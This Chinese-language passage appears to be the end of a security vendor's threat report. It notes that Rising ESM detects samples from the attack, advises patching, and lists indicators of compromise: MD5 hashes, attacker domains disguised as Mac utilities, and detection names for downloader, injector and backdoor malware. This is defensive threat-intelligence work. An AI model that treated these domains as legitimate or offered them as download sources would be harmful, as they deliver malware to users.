杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本

- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
03ea8db00d4720e18f6f61d01acfc19b 804957e501ee0443632ea675353326d4 5ea776ca7dccac71138a6e92a4f5c934 76d27d57c54e58ce05ab5afbdeb668c3 31bde898b77771957048d6a148fee8fe e271e80e95387400dc7d409533f52a63 20a3fa9406ec27ba41c9df912baf1d22 804e8ff0d9753c267ef1f617965eb2bb -
Domain
kuchiku.digital 4tressx.com rt-guard.com screenner.com coremactools.com smoothmacos.com aginscore.com creufkcutp.s3.us-east-1.amazonaws.com instant-kb.online uuu.rqfefxsa.xyz -
瑞星病毒名
Downloader.Agent/PS!1.13784 Trojan.Injector/x64!1.1376E Backdoor.Agent/JS!1.13780 Backdoor.Agent/JS!1.13782